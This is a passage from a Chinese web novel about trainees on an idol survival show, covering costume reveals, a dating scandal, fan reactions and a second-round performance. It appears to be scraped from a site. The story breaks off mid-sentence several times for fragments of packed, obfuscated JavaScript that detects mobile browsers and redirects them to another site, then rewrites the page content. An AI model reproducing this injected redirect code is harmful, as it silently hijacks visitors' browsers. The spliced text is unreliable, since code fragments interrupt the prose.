l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371376|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的造型,但这次不同。 一千个练习生都不见得有一个敢做这种尝试。 危险、独特、超格。 但凡傅寻砚微微低头再向上抬眸,他就如同暗夜杀手一样充满雨夜潮湿的气息。 肃杀,被鲜血洗净的刀锋,狂风吹拂下叶片,边缘将人的脖颈割伤。 一切一切阴暗、疯狂的联想开始充斥观者的脑袋。 达裴嘴巴张了又闭,闭了又张,僵在原地整整两分钟。 “你、你不是要唱情歌吗?是《赛博之恋》不是《赛博之死》吧?” “对。” 傅寻砚“略施小计”就吓到了这三个胆小鬼,有些好笑,他眼眸弯弯,然后立刻得到了白闻及的制裁。 “艹都让你别那么笑了!真的很吓人!” 数分钟后,三人终于平静下来,傅寻砚也不得不以面无表情来面对三人的质问。 “是啦,但刚刚是我故意做的表情管理,上台不会这样。” “还能哪样啊?”沈迟咽了咽口水,眼睛黏在傅寻砚的脸上下不来,但没几秒又觉得害怕,可越害怕又越想看。 “大概……”傅寻砚想了一下,将控制T区的力道松了松,然后嘴角的笑容越发肆意。 “这样?” 嘶~ “别笑了别笑了,真是受不了,我已经能想象到你化完妆后的情况了。”达裴掩面。 画面太过昳丽,再多看一秒都会昏过去。 从来清醒自持的青年突然纵身跃入欲海,眉眼间满是情.色,苍白病态的脸与叛逆的银发呼应。 他是一开机就会消失的电子蝴蝶,被人类的终极幻想囚禁。 ** 选曲结束后的那天晚上。 “这次《赛博之恋》的舞台布景是这样的,你们看一下是否需要调整。” 选管把本子递到傅寻砚手里,但傅寻砚完全沉迷于编曲的改动,没有听到,旻海立刻接过。 “姐,我来统计意见吧,等一会给你送过去。” 选管看了眼傅寻砚,有些担心,但只能答应。 有了旻海分担压力,加上队伍里的人综合实力大大提升,傅寻砚要操心的事情少了很多。 但抽空录音前,傅寻砚还是要找编曲老师商量调整一些细微之处,以保证歌曲呈现的效果,所以这段时间他估计依旧很忙。 旻海选完歌就赶紧把头发染红了,这会儿坐着如同一簇低矮的火焰在房内灼烧。 “我看一下。” “哇不错,这次启动了那个有旋转舞台的演播厅作为二公表演舞台,到时候就不需要浪费太久布置时间了。” “我们的舞台主要是背景和烟花彩带,背景有些类似九龙城区的那种霓虹灯牌,舞台侧面会有一些油漆桶、钢材堆放。” “然后是灯光,蓝紫色。烟花会在最后一段高潮放,彩带则是最后的合唱。” 白镇想了一下,“钢材是真的金属吗?那还是撤掉这个比较好,有棱角和尖锐的东西比较危险。我们可以换成软网。” 旻海同意,记录下这条意见。 “服装呢?”周奇找到机会插嘴,“这次的服装会很好看吗?赛博朋克的话,有机械人之类的设定吗?” 旻海翻到下一张,动作一顿。 “没有。” 周奇肉眼可见地失望,他倒是希望里面能有一些什么狼人、机械人和人类的玄幻设定,这样方便他制造一些暧昧纠缠感。 他探头。 “艹这什么啊?” 是啊,什么衣服呢? 五套衣服都被模特试穿后,拍了图呈现在眼前。 每个人都按照本能,率先去寻找自己的名字所对应的服装。 50.第五十日 傅寻砚不关心,他还在琢磨加入哪种乐器更符合那个氛围,但江瀚很快就把本子塞到了他眼前。 “老傅!快看快看!你这件衣服……尺度很大啊!” 什么尺度大?不都是黑色紧身衣吗? 傅寻砚上一周目看过这个表演,不说记得一清二楚,但至少有大概印象。各种款式的紧身衣,其中有人配了马甲,有人则是背带,露肩的,露腰的。 稍有些诱惑,但不超出正常范围。 但……他错了。 “这是什么?”傅寻砚也忍不住失神出声。 他的衣服被放在了中间展示。 与一公时所追求的简洁但梦幻不同,这次的服装只有简洁。 分给傅寻砚的是什么? 嗯,一条黑色无袖背心。 “雾草雾草!是无袖背心,我们有救啦!”江瀚笑得一头栽倒在傅寻砚怀里。 “老傅你这下完蛋了,这穿出去……斯哈斯哈,不得被生吞活剥了啊,也太sexy了吧!” 傅寻砚沉默。 他的视线被理智牵着强行去看其他部分,虽然说衣服仍然走简洁风,配饰却并不简洁。背心上被固定了一条银色十字架项链,刚好在胸口往上一点的部分。 左肩处裹着一个黑色对讲机包,很像枪战游戏里的人物放置子弹的那种小包,精致而充满匪气。随后是小臂,左手小臂的外侧,有蓝色的发光管,被黑色松紧带一圈圈缠绕着,尽头是银色机械骨骼,将附着到左手背。 下半身就没什么值得分析的,工装裤配黑白运动鞋,款式都是冷淡风。 看着这幅图的人,无法克制自己的脑袋去幻想,幻想傅寻砚上半身大面积裸露,左臂被梦幻的蓝色包裹的场景。 斯哈斯哈…… 这也太诱惑了吧!江瀚毫无克制地傻笑,旻海和白镇一下就get到了江瀚在想什么,也盯着傅寻砚笑得诡异。 只有傅寻砚产生了极致危机感,他下意识去摸了摸自己的肩膀。 幸好,还有点肌肉。 不行,得在二公前练到完美才行。 于是,他才在当晚与组内所有人建议去健身房加强训练。 ** 排练日。 从造型室到排练厅仍有一段距离,傅寻砚不得不经过那条熟悉的路。 挤挤挨挨的女孩们蹲守在门口,每当有练习生走过,就有一两个会站起来拎起长枪大炮。 她们欢呼着,饱含热情地呼喊他们的名字。 她们甚至因为激动而落泪。 很多人不能理解追星女孩们的做法。理中客觉得,这些女孩在爱豆身上投入那么多钱,甚至比关心爹妈还关心与他们相距十万八千里的偶像们,简直是太傻了。 当脱离这个圈子后,傅寻砚也曾为她们不值。 见惯了那些风光霁月的人在舞台后蠢笨又恶心的样子,看惯他们以不尊重的语言对女孩们评头论足的他,常常觉得荒谬。 追星族的爱意毫无道理,与身边人对抗,承受着社会上很多非议和看不起,却转头就被他们背叛。 爱和金钱被捧在手心送出,对面的人看似温柔接好,却在美色和吹捧中立刻把它丢在地上践踏。 与眼前唾手可得、肉眼可见的好处相比,虚无缥缈的“爱”,毫无对价的“爱”,变得一文不值。 傅寻砚能保证自己不辜负,可他还是会为其他人的辜负感到难过。 青年将帽子戴好,包裹得严严实实往前走。 可他还是听到了一声“傅寻砚!” 下意识转头,又飞快躲开。 “傅寻砚!你回答我啊!那个女的是不是你女朋友!” “你是不是背叛我们了,是不是在谈恋爱!” “你说啊!” 陈敛清没想到还有粉丝混了过来。能够在门口蹲守的人不多,所以陈敛清时刻注意新面孔,毕竟眼下是多事之秋。 李鹏程已经暗示过那件事另有隐情,粉丝团也私下互相通知不要吵闹,静待结果。但很可惜,一些爱意炙热的散粉还是无法知情。 陈敛清心底一沉,但没有选择去拦她。 “回答我好不好!我求求你了!” 那个女孩已经带上了哭腔,素颜憔悴得厉害。 傅寻砚本来想要离开。 他擅自做出表示可能会引发很多很多后果,比如不了解的人会怀疑他有私联的可能性,会认为练习生可以通过这条小路向外传递消息…… 他回身。 看不见面容的男孩,被全身包裹在黑色里的男孩,朝这里坚定地摇头。 女孩得到回复,发出一声嘶哑的笑,虚脱地顺着栏杆滑落,陈敛清迅速接住了她。 “你还好吧?寻宝的事情……你跟我来。” 陈敛清把女孩搀扶到无人处,遥遥看了傅寻砚一眼,那男孩面对着一众吃瓜、嘲讽、不信任的眼神,平静地朝着这边。 直到陈敛清把女孩扶着坐下,他才压了压帽子,转身离开。 孤独如影随形。 陈敛清看着他在暮色里迎着霞光而去,那白色的建筑在他面前如此宏伟,宏伟得要将他吞噬。 他的身前是试图拖着他沉沦的庞然大物,而身后,是一大群的奚落眼神,以及很少数愿意相信他的人。 他能撑得住吗? 这一波绯闻带来的影响太过庞大。 一来,上次的霸凌事件给群众带来一种错觉,那就是“如果他没做一定会很快澄清”。可很多人都没想到今时不同往日,随着傅寻砚与Patrox、欧瑞签约,在节目拍摄中插,很多事情不再像最初那样容易。 可群众不会去分析这些事情,只会认为,既然傅寻砚两天了都没解释,这件事很可能就是真的。 二来,这次的绯闻肯定有幕后推手,不然不至于两天都挂在第一。 傅寻砚是谁?不过是个还没出道的练习生而已,哪有那么大能量待在热搜第一?甚至昨天欧瑞和陈敛清、柳雨互通了消息,他们本来已经试图花钱让热搜降降,结果对方投入了更多的钱保持热度。 欧瑞不是慈善家,所以放弃降热度,反而在考虑推波助澜将话题继续顶着,等后续玩一手翻盘的戏码。 他们从傅寻砚那里得到了真相,可粉丝们没有啊,陈敛清和柳雨这两天都颇为焦虑。 “什么叫你们相信他好了,既然让我们相信,不如直接给真相啊。”柳雨举着手机嘀咕。 电话那头的陈敛清思考了一下,“不,或许这一次事情的真相真会出乎预料,不然欧瑞没必要藏那么久,水好像很深的样子。” 当然深……丛赫那边已经发了力,暗中向警局报了案,搜集到的证据里包含傅寻砚提供的录音,以及几位受胁迫的十八线小明星的自述。 虽然碍于罪名的限制,无法刑事立案,但足以用治安法制裁顾廷川。 正因如此,在警方调查清楚前,傅寻砚还真不能出来揭露什么。 随着他的沉默,微博上大量粉丝开始脱粉。 不是不能理解,很多粉丝都是在傅寻砚硬刚已经被判了诽谤罪的那群人时入坑的,属于道德感较高的人群,眼下傅寻砚出事,他们自然是最先无法忍受的。 论坛和粉丝群沸沸扬扬,每天都有人吵架。 可当一群黑粉去Patrox嘲讽他们的大使又一次塌房时,Patrox出乎预料没有像过往那样保持沉默。 而是直接进行了回复。 “据我司了解,傅寻砚先生并未做出任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381522|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何出格举动,良好地遵守了双方的商业合同,是一位值得肯定的艺人。” 简单、直白,却又让人摸不着头脑。 [傅寻砚是给高层下蛊了?那么挺他啊?] [Patrox没毛病吧?他的照片都被石锤了还“无出格举动”,合着傍富婆不算出格举动?] [这次真的不能理解Patrox了……虽然我本来也买不起他家衣服] [抵制劣迹艺人!抵制Patrox!] [……怎么谈个恋爱就是劣迹了,A某嫖.娼怎么不见你们跳出来抵制啊?] 纷纷扰扰之间,傅寻砚的平台净粉丝数从321万掉至307万。 这并不是一个很大的掉率,甚至从《新世纪》官网投票来看,这次恋爱绯闻对他的票数影响微乎其微,甚至因为更高的关注度,吸引了一批不在乎偶像谈不谈恋爱的路人,以至于加加减减他仍以十万多的优势领先于叶莱。 就很让人嫉妒。 “他怎么那么好命?” 《前进吧》的练习室里可谓凄风苦雨,自打节目开播,所有流量都被傅寻砚吸走,他们节目的观看人数始终超不过千万。 前期投资注定打了水漂,这几天投资人在节目大楼进进出出,脸色阴沉。 一个白净的男孩坐在角落,探头与身边的人轻声说话。 “朴秀河,你们公司这一波根本没伤到傅寻砚啊。” 朴秀河皱了皱眉头,不回应。 嘁,那名练习生翻了个白眼。朴秀河这人就是假清高,自家公司玩阴的搞傅寻砚,他在这跟没事人一样。 哦也是,反正受益人也不是他,而是和他同批次的Kenny嘛。 朴秀河受不了这种窒息的氛围,手中的矿泉水瓶越攥越紧,最终发出爆裂的动静。练习室里其他人被他吓了一跳,只看见男孩面色阴沉站起来。 “我出去一下,你们继续。” 高挑的男孩走出门,倚靠在了墙上。 傅寻砚…… 朴秀河的眼前出现了那个青年的影子,不像《新世纪》节目里那样光鲜亮丽,而是阴郁的、沉默的、不起眼的。 在那个冬日的街头,当朴秀河与好友们打闹着路过便利店时,撞到了一名兼职生。 他手中的纸箱跌落,男孩为了避险而转身过去,结果手腕撑地扭伤了。 朴秀河与好友们非常抱歉,坚持要把对方送到医院,但那男孩拒绝了。 “没关系。”他们听到他以非常不熟练的H语说道。 “直接给医药费就行,手腕扭伤的治疗费三万,造成几天生活的不便利四万,一共七万(韩元)请结算一下。” 男孩们面面相觑。 怎么说呢,其实费用很合理,甚至比真的闹起来要低廉,但这孩子的表情和眼神让人格外不愉快。 可他们确实是肇事者,所以几人拼拼凑凑还是拿出了这笔钱交给他。 朴秀河家住得近,之后的几天总是无法控制自己的脚走到这家便利店买东西。 当天人太多,那孩子又没有挨个看他们,所以似乎并不记得自己。 他正常地帮他结算商品,递交小票。 朴秀河注意到对方没有去看医生,手腕红肿着好几天。 他和店长打探了一下,对方叹了口气。 “那孩子是华国来的,家里……反正他很缺钱啦,估计也是想省下医药费才没和你们去医院吧。” 朴秀河低头瞥见自己刚买的新鞋,一时间内心错综复杂。 那时的他没想到,自己以后还能遇见那个兼职生,他更不知道,自己的公司会以那样恶劣的手段抹杀其他人的未来。 朴秀河一如那天盯着自己的鞋面,在空旷的走廊里发呆。 51.第五十一日 Bigland,也就是练习生们给了爱称“大地”的rap导师,有些疑惑地来到了房间。 “怎么外面氛围怪怪的?下午排练出问题了?好像都心不在焉的样子。” 知道内情的几人尴尬地咳嗽了两下,心虚低着头。 “嗯?你们怎么也一样?我不在的时候到底发生了啥啊。”陈大地忍不住,一个冲刺坐在位置上,探身查看章曲和姜苏林的表情。 “告诉我嘛告诉我嘛!” 姜苏林与章曲对视一眼,又和蒋翩翩以及更为尴尬的欧若交换了下眼神。 “那个……你自己看排练视频吧。” 看就看呗,到底排练出了什么岔子,整个基地所有人都怪怪的。陈大地无语地戴上耳机,发现工作人员很殷勤地为他点开了《赛博之恋》的舞台。 “怎么是他们的舞台先放?抽签他们不是dance第三,整场第六吗。” 没人回答他的问题,他只好闭嘴。 五分钟后。 沉默在室内蔓延,覆盖掉最后一个清醒的人。 姜苏林转头看过去,不出意外发现刚刚还叫嚷个不停的人现在也沦陷了。 蒋翩翩偷偷蛐蛐,“我就说吧,看了傅寻砚的人,都是这个下场!” 陈大地的反应甚至更严重一点。 他放在桌面上的手,指节不经意暴起青筋,笔尖在建议表上划出歪扭的弧线,墨点晕染开来如同破碎的蛛网。 这个胖胖的rapper完全失去了平日里的逗乐或者舞台上的霸气,偶尔的吞咽充满了一种别样的意味。 刚刚购买的潮牌卫衣的袖口蹭过咖啡杯的瓷沿,他都全然不觉,整个人仿佛被钉在座椅上,脖颈前倾到与桌面近乎平行,任凭沾了褐色污渍的袖子在桌面拖出难看的痕迹。 眼神充满了困惑、迷离、痴迷与震撼交错的情绪,呆呆傻傻盯着又一遍播放的屏幕。 欧若捂脸。 他不是嘲笑陈大地,这种新颖的舞台对他这个四旬老汉也是一种大开眼界——实不相瞒,他刚刚跟着看了整整五遍。 加上陈大地来后放的一遍,这是第六遍。 但他的声乐建议表上,仍然只有一句:周奇声部不突出。 除此外空白一片。 欧若偷窥其他人的表格,幸好他们也差不多,没有一个写了超过一句话的。 大家专业水平都很差嘛。 “嘶~”一刻钟后,陈大地终于清醒过来。 他哭笑不得地趴在了桌子上。 “好的我明白了。” “不是,这小子杀伤力也太强了我的妈呀,虽然之前听说他要染头,没想过能染成这样……啊,还有他那个妆,那个肌肉,绝了,真的绝了。” “我要是有钱,我立马豪掷一百万把这个视频买下来私藏。” 姜苏林点头,“不止是傅寻砚,他们组真的把氛围全都渲染到位了。” “傅寻砚和一公一样做了点改编,开头他那一段声线的失真就是故意的,立马把人扯进了虚拟世界。” “然后是旻海,啧,这个舞蹈真的不愧是我们节目的第一,而且染了红发之后气势蹭就上来了,很耀眼。” “江瀚和白镇也很不错,中间双人舞配合的那段默契很好。不愧是万金油选手啊江瀚,虽然单独拎出来好像有点弱,但和人搭配在一起就是莫名其妙有感觉。” 说到这姜苏林就停了。 欧若翻了下纸张,确认自己没记错,“还有个周奇吧?不点评了?” 哦,还有个周奇。 “喂。你们不要统一摆出一副恍然大悟的样子啊,我都提醒过你们三遍了。” “抱歉抱歉欧老师。”蒋翩翩双手合十,试图用甜美笑容遮掩失误,“就是没办法嘛,眼前一个又一个帅哥,导致我完全没空看他诶。” 幸好这会不在直播而是录制,蒋翩翩的话会被剪掉,要不然肯定遭受围攻。 “唉,周奇在这里真的不好看。”陈大地有一说一,神情遗憾,“你们想想要是换成达裴,或者沈迟也行,画面多好看啊。” 达裴和傅寻砚一样是白巧克力,虽然个子稍微比傅寻砚矮了一点,但骨架要比傅寻砚更大些,很有男子气概。 沈迟这孩子出了名的宽肩窄腰黑皮体育生,虽然他是个vocal,但往那一站谁都觉得是很有爆发力的dancer。 更重要的是,这两人跳舞都比周奇好啊。 “周奇实力是有点太弱了,但这次旻海的编舞调整很好地避免暴露他的短板,虽然出场时间少,但有效率提高了。”姜苏林很欣赏旻海。 “我已经开始期待明天的公演了。”蒋翩翩握拳,“到时候观众跟我们似的被诱惑住,这也太有节目效果了。” “是啊,我也很期待。”姜苏林叹气,转而又有点遗憾,“要是傅寻砚没出那件事就好了,我就担心会不会对他明天的心态有影响。” 欧若摇头,“不至于吧,你看他排练状态很好,我倒是觉得他明天还能超常发挥,这小子心态稳得一批,放心。” 但愿如此。 ** 柳雨还是买票进了场。 她的抢票水准已经一流,加上多个服务器的加持,不愁没票入场。她遥遥看了看,陈敛清也在,瞬间安心下来。 得益于一公大胜利,二公节目组开放了更多位置,达到了450席,但由于绯闻影响,傅寻砚的粉丝占比数反而下降了。 柳雨有些忧虑。 像他们这种上位圈的选手,其实不需要担心现场得票率,就算拿到第一也不过加个一万两万票,融入票池后立马什么都看不见了。 二公在一公清零的基础上投票,如今傅寻砚遥遥领先,所以柳雨不是在担心这个。 公演第一有其他意义,比如后援会拿出去宣传的实绩,粉丝掐架时拿出来炫耀的数据……就和上班一个道理,有些项目没什么实际作用但只要听起来噱头够响,依旧能吸引一大波关注。 柳雨紧握着拳,祈祷今天傅寻砚能够惊艳四座,继续拿下二公dance组的总第一。 身边的小美比起一公,似乎没有那么狂热了。 她玻璃球一样的眼珠在乱飘,从一个练习生身上飘到另一个练习生身上。她是个外貌党,但本身姣好的容貌在现实里一样能吸引大批帅气男孩,所以小美对一个人的兴趣总是能很快变淡。 这也是柳雨没告诉她自己傅寻砚粉丝团长身份,也没把她拉进管理层的最重要的原因。 “唉我的快乐都没了,今天同好真少……” 柳雨循着小美的话扫视了一圈,默默不语。 其实今天来的粉丝仍然很多,但碍于那条膈应人的绯闻,大家都没有选择偷偷带手幅和应援物,所以观众席多了很多不明身份的观众。 小美意兴阑珊,只能拿着手机刷小红薯。 直播的设备在场下慢慢架起来,柳雨点进去,瞬间就被满屏弹幕给吓到了。《新世纪》在这一周内又涨粉无数,很多中下游练习生也圈了不少粉。 比起隔壁资本家的少爷们,这里的练习生好歹真的是靠颜值和实力通过的海选,所以节目的差距慢慢拉大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387148|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《前进吧》买了再多自家的热搜,也不敌傅寻砚这边有一点点动作。 人们再次感受到了,断层流量的可怕之处。 化妆间内。 “刘老师,化妆方案再调整一下。”傅寻砚路过旻海那里,钳住他的下巴往自己这里偏。 “眼影不要那么重,阴影再重一些,他的脸本身就属于比较英气的类型,没必要叠加那么多色彩去喧宾夺主。” “旻海,你能接受伤疤吗?” 旻海点头,他在一公见证傅寻砚的统筹能力和审美后,就对他的决定坚信不疑。 “伤疤吗?当然可以。” “刘姐,你们能画伤疤吗?” 刘姐有些犹豫,“本来可以,但现在没有人手能腾出来诶,画这个至少要二十分钟。” 傅寻砚默,他承认这是自己的失误。昨天的彩排他全程盯着大家的舞动和着装,妆容确实没顾得上,以至于今天才能提出建议。 “我来吧。” 啊?刘姐还没反应过来,手里的彩妆盘就被青年拿走,他找了把干净的刷子。 腿向后一勾,椅子在地面滑擦出声,然后青年就那么坐下。 “我的化妆时间还没到,很充裕,我来帮他画,十分钟就好。” 那双手离自己的眼睛很近,旻海不由得闭眸。 后台的热浪被雪松香气挤走,旻海感受到自己胸腔内的心脏跳个不停。 他不由得笑出声。 “怎么啦。”伴随着刷子轻轻落下,离自己很近很近的男孩出声询问。 旻海收起笑意,“没什么,只是觉得很神奇,你怎么什么都会啊。” “画画我比不上你。”傅寻砚认真地回答,“你要是能给自己画,肯定比我好。” 旻海不以为然。 刘姐愣了一会,还是转身先去帮其他人化妆了——这里的氛围好像容不下她。 银发的青年坐得略高,微微俯身,那双漂亮的戴了灰蓝色美瞳的眼睛令人痴迷。明明是那样放纵不羁而又冷酷的颜色,如今却因为太过认真的神情,显得更加诱惑。 他的骨节倚靠着红发男人的额角,纤长的指节运动间,带着化妆刷或轻或重地扫过对方眉骨,留下暧昧的粉红色。 旻海闭着眼,只能感觉到寂静包裹住他,舒服得令人想要睡觉。 “好了。” 说是十分钟就是十分钟,旻海缓缓睁开眼后,周围一圈早就被吸引来的人齐齐惊叹。 “这个画的也太好了,寻砚你是特效化妆师吗?” 旻海对着镜子照了照。 很绝。 《赛博之恋》舞台里,他的设定是街头混混,红色的寸头张扬任性,绿色的兽瞳给他增添了非人的意味,而如今这贯穿眼睛的伤疤一填上,野性的气质爆发开来,让旻海看起来性张力格外强。 实在是“点睛之笔”。 江瀚羡慕得快哭了,挂在傅寻砚身上痛斥他厚此薄彼。 白镇走过来瞄了一眼,什么都没说,但旻海敏锐地感知到了一些失落。 傅寻砚的化妆顺序被安排在了几乎最后,理由是担心美得太超过,影响其他人心态。对此所有练习生没有异议,连白闻及和叶莱都保持默认。 叶莱想了想昨天彩排的时候。 甚至那个时候他还只是淡妆,六十个练习生离四十来个都闻讯前来观看,结果脚跟被钉住一样呆呆站在那好一会。 今天化了妆……叶莱不敢想象。 慢点好,慢点他也不会被影响心态。 那家伙的杀伤力实在难以招架…… 52.第五十二日 “各位观众、导师团以及练习生们,晚上好,我是《新世纪偶像》的首席制作人姜苏林。” “欢迎来到第二轮公演的战场!” “当灯光再次照亮这个舞台,我们看到的不仅是每一位练习生,也是每一位拼搏斗争的追梦人。” “经历了初舞台的锋芒毕露,经历了一公的残酷淘汰,此刻站在这里的每一位选手,都已褪去青涩,完成了蜕变与成长。” “二公是证明自我的跳板,也是通往最后巅峰的阶梯。” “现在,让我们屏住呼吸,准备迎接他们用热血与实力打造的视听盛宴!接下来,有请第一组练习生上场!” 姜苏林抬手,灯光幽暗之处,一群穿着暖黄与白配色的人上了台。 一共六人,是Vocal一组,也是沈迟所在的队伍。 说来倒霉,沈迟、白闻及和尹星蘅这次竟然选的歌都不一样,也就是说这一轮他们都是对手。 舞台上的沈迟呲着大白牙笑得开心,他是这组的C位,又因为年龄小而得到照顾,这段时间过得很滋润。 嫩黄色不适合他,所以他的衣服就以白色为主,配以一条黄色领带结束。 整个妆造就是主打清新男大,虽然皮肤是黑了点,但完全是小老公一枚啊! 他们的队长是个徘徊在三十多名的老实人,唱歌很有技术,只是感情上欠缺,大概率也是没办法搏进出道位了。 “各位好,我们是……” 他顿了顿,台上几人一起双手比叉。 “拒绝情伤联盟!” “为什么叫这个名字呢?”姜苏林问。 另一个个头矮些的男生接过话筒,“因为我们的表演曲目叫《世界一等表白失败》嘛,而且现实里……” 他瞥了一眼其他人,大家都露出不好意思的笑容,“大家要么初恋被拒。要么压根没谈过,所以才想拒绝情伤呀。” 沈迟不好意思地笑,小虎牙格外可爱,惹得底下妈粉一阵尖叫。 介绍完毕,几个人站好位置等待灯光亮起。 “今天天气是阴雨/我的心里也在落下雨滴/明明出门按照占卜选择了打的/为什么结局还是错过大吉” 小伙子们没有蹦蹦跳跳,而是在布景成公园的舞台上演了一出小喜剧,逗得底下观众笑眼弯弯,嘴角也忍不住咧开。 比起一公那不稳定的唱歌水平,二公跳舞归跳舞,唱歌归唱歌,有效避开了某些练习生的弱势,所以大家发挥得很不错。 节目组心机地把垫音开了50%,所以大家的声音呈现出来的质感得到有效提升,不会特别干。 表演结束,沈迟比了个头上的心作为ending,又引发一阵欢呼。 后台的达裴又是气氛选手,按理这种小甜歌可勾不起他的兴趣,但他还是为舍友热情打call。 顺带着关注了一下傅寻砚的状态,“他还没换好衣服吗?” 达裴凑近旻海,浑然不觉自己的靠近被后台直播出去,大家从他的唇语读出了某人在惦记寻宝。 旻海:“他的衣服倒是好穿,就是手臂上那个东西弄起来比较麻烦,还在帮他固定,估计得上场前才能来了。” 达裴默默缩回去,“也好,就他那个衣服,穿出来……” 说到这戛然而止,留下无尽遐想。 [???我不是vip吗!让我听听!这个衣服穿出来是怎么个回事?] [啊啊啊达裴这个谜语人滚出地球!寻宝到底穿的啥呀!] [抵制恋爱咖!扒富婆的卖惨精退赛!] [内幕消息称,嗯,很诱惑] [斯哈斯哈能有多诱惑!今天我就住在这个直播间了!姐妹们必须好好截图!] [抵制恋爱咖!傅寻砚不要脸!] [唉,我又想看又不想看,刚入坑就塌房……] 沈迟之后,是这一次缺少了旻海的《waterfall》组合。 舒缓的旋律,富有律动感的动作,舞台上飘浮着烟雾与欧根纱钩织的迷幻世界。 由安辰领队带来的《waterfall》即便缺少了旻海,也在克服种种艰难后获得了成功,被在场者称为“下位圈的逆袭”。 “二公的舞台质量怎么那么高?”女孩们相互询问。 “不止是布置和服装,感觉练习生的表现也有很大提升。” 得益于危机感与那似乎近在咫尺的机会。 傅寻砚把节目拉上了不可想象的高度,可他现在因为恋爱绯闻疑似要从高位跌落,谁能顶上,谁就能篡取胜利果实。 如何不心动呢?所以每个人都付出了百分之两百的努力。 随着rap曲目《天上地下我一档》的结束,第一轮舞台便全部结束。 旋转舞台调了个位置,底下观众哪见过这种神奇的设置,一个个瞪大了眼睛。国内很少启用这种大型机械舞台,毕竟人力比较便宜。 但《新世纪》为了控制时间,减少观众的疲劳感而动用旋转舞台,确实带来了新奇感。 “马上到我们了,寻宝好了吗?”江瀚脱下外套站起来,让周围一圈人再次忍不住瞟他。 江瀚的衣服和上一周目比较接近,高领塑身毛衣,完美地勾勒出身材。 “好家伙,你们排练的时候也藏私啊,一个个穿着外套的,原来正式舞台根本没外套!”练习生们直呼这组人诈骗。 江瀚一挑眉,“告诉你们,穿外套那是为了你们好,一会瞪大你们的眼睛看看寻宝。” “人间蛊王马上要登场了!” 练习生们纷纷起哄,也有一些面无表情。 再怎么厉害,傅寻砚也只是人不是神,自己是绝不会被蛊惑的! 旻海受不了江瀚的炫耀,无奈地陪笑着也脱下外套,结果同样引发一阵抽气。 与江瀚的紧身短袖毛衣不同,他的是一件白色衬衫,但奇就奇在背带,那黑色皮质的物品使旻海的胸肌越发突出饱满。 就很sexy。 “My eyes!My eyes!”有练习生遮住脸,又打开手指缝偷看,“我大饱眼福!” “咱们节目组一半的肌肉担当都在这了吧?” 白镇和周奇的风格更接近街头风,白镇的是网状黑色套头衫,里边有一件半透的打底,隐隐约约模模糊糊。 周奇由于缺乏腹肌,是组里唯一穿着夹克外套的人。 “所以我更期待寻砚了。”刘永善在旁边散发黑气,“啊啊啊昨天那个时候我在备采,我连遮掩版本都没见过!” 啊啊啊啊! 刘永善还没说完话,走廊尽头传来一阵骚动,如同晴日黄昏的涨潮,一波又一波,汹涌激烈而畅快。 人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15395977|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群自发散开。 直播间的镜头重视地记录着一切,坐在第一排的《赛博之恋》选手站了起来,迎着那个走来的人露出了笑容。 镜头另一边无数双眼睛凝视着屏幕,呼吸怪异地降低了频率,每个人都能听见自己期待的心跳。 先是银色的发。 稍作修改后,一边保持了飞机状的潇洒,另一侧则略放下,形成了眉尾的刘海。 然后是一双墨镜。 还没等大家感到失望,漂亮的肱二头肌和饱满的胸肌,便像卡车一样迎面将人撞得晕头转向,鼻尖开始泛起痒意,滚烫似乎从那里慢慢流出。 [我的妈妈诶!这里有男菩萨!富有又慷慨的男菩萨!] [老公顶我!(小脸通黄jpg)] [斯哈斯哈就是完全说不出话那种,性张力绝了] [寻宝你深藏不露啊!看上去弱不禁风妈的脱了衣服比妈妈熊大!] [这个造型……客观来讲充满了赛博时代的科技炫目感,不客观来讲就是说让人想超] [!口出狂言了前面!寻宝是矿工!怎么能超呢!嘿嘿我也想!] 那个男人现在完全散发着猎手的气质。 他褪去初舞台的性感、主题曲的清爽、一公的冷清,变成了现在的极致危险。 所有练习生噤声,目送他穿行过这里,如一只黑蝶,从眼前翩跹而过。 前台的很多观众吸取了一公的教训,为了保留感官刺激而故意不看直播间,此刻抓心挠肺等着傅寻砚露面。 舞台已经到位。 巨大的LED屏幕充斥着蓝色与紫色的几何线条,闪烁着九龙城区的各色荧光灯牌,与音乐的节奏完美配合着律动。 酷炫、神秘,充满着未来世界冰冷的机械感与异能者穿行的危险感。 有人上台了。 紧致的肌肉被涂了少许散粉,模拟出汗意涔涔的紧张。 